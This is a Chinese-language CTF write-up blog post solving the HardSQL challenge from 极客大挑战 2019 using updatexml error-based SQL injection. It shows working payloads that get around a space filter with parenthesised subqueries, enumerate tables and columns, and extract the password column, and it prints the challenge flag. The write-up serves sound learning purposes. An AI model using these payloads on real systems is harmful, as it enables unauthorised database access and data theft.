[刷题记录][updatexml 报错注入]HardSQL[极客大挑战 2019]

前置知识

updatexml 报错注入

updatexml 函数格式

updatexml(XML_document, XPath_string, new_value);
参数描述
XML_documentString 格式,为 XML 文档对象的名称,文中为 Doc
XPath_stringXpath 格式的字符串
new_valueString 格式,替换查找到的符合条件的数据

报错查询语句格式:

select updatexml(1,concat(0x7e,(查询语句),0x7e),1)
  • concat()函数是将其连成一个字符串,因此不会符合 XPATH_string 的格式,从而出现格式错误,爆出用户
  • 0x7eASCII 码, 实为~,upadtexml() 报错信息为特殊字符、字母及之后的内容, 为了防止前面字母丢失, 开头连接一个特殊字符 **~ ,从而让全部的报错信息完整显示。

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML 的内容
第二个参数:是需要 update 的位置 XPATH 路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合 XPATH 格式

所以在使用 updatexml 报错注入时,前后两个参数一般只写上 1 或者其他随意参数就可以了

附:

SQL 注入分类:

  • 回显正常 ---> 联合查询 union select
  • 回显报错 ---> Duplicate entry()
  • 盲注 ---> 布尔型盲注

sql 注入小技巧

当无法使用 "=" 指定要查询的表或字段时可以使用“like”进行模糊查询

XML 语法之 right(),left() 函数

因为 updatexml 查询出的字段只有 32 位的长度,这个时候就需要用到 right()或者 left() 函数来显示超过长度的部分

语法

函数描述用法
left()从左开始截取字符串left(str, length)==>left(被截取字符串, 截取长度)
right()从右开始截取字符串right(str, length)==>right(被截取字符串, 截取长度)

题目

打开依然是直截了当的 sql 注入

1.png

先尝试“and 1=1”

回显

你可别被我逮住了,臭弟弟

看来有过滤

试试加单引号 "1' ",发现报错

构造联合查询语句“1' union select database()”查询数据库名

回显

你可别被我逮住了,臭弟弟

看来也被过滤了,只用 bp 进行模糊测试,发现其实还是有很多关键字没被过滤的,但是为什么实际测试中却显示被过滤

2.png

可以看到像 select 和 like 这种都没被过滤(ps:虽然回显是 429,但实际上只有没有被过滤才会回显错误或者 429,如果是被过滤的话会直接回显被过滤而不会返回 429)

实际上这个地方过滤的是空格而不是那些 sql 关键字(当时确实没想到会过滤空格)

既然查询语句返回错误信息,而且正常查询语句又不能执行,那么这个时候就要用到报错注入了,虽然空格被过滤了,但这里依然有个技巧,就是使用子查询

括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格

一般在一个查询中,可以嵌套嵌套另一个查询,外层的select语句叫外部查询,内层的select语句叫子查询,子查询可以嵌套多层,但是需要用“()”括起来。
子查询可以用在SELECT语句中,还可以用在INSERT,UPDATE,DELETE语句中 .子查询是一个完整的的SELECT语句,是其他SOL语句的一部分,大部分子查询是在SELECT语句的WHERE字句中实现的,也可以放在FROM字句中当虚拟表。

payload

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

返回数据库名字为

geek

继续构造查询表语句

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

获得表名称

H4rDsq1

查询表下的所有字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

获得三个字段

XPATH syntax error: '~id,username,password~'

查询字段 password

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1))#

获得一半 flag

~flag{f8c1a46e-3ff9-40e5-8367-ce

因为 updatexml 查询出的结果显示长度限制为 32 位,如果超出显示长度需要使用 left()或 right() 函数。

构造 payload

1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e),1))#

获得另一半 flag

e-3ff9-40e5-8367-ce86ccf26c8d}~

与上面的 flag 去掉重复部分进行拼接获得 flag

flag{f8c1a46e-3ff9-40e5-8367-ce86ccf26c8d}

之前准备了两周的护网面试,结果群里通知因为疫情初级暂时不面试了 (・ _ ゝ・) 所以接着几天会把一些笔记整理一下发上来吧。

还是有就这个博客的编辑器如果直接从 typora 复制笔记上来的话所有字体都会被加粗,感觉挺麻烦的。

报错注入之前学了之后就很久再没用过,这次算是第一次遇到报错注入的题目了,就发到博客上来记录一下。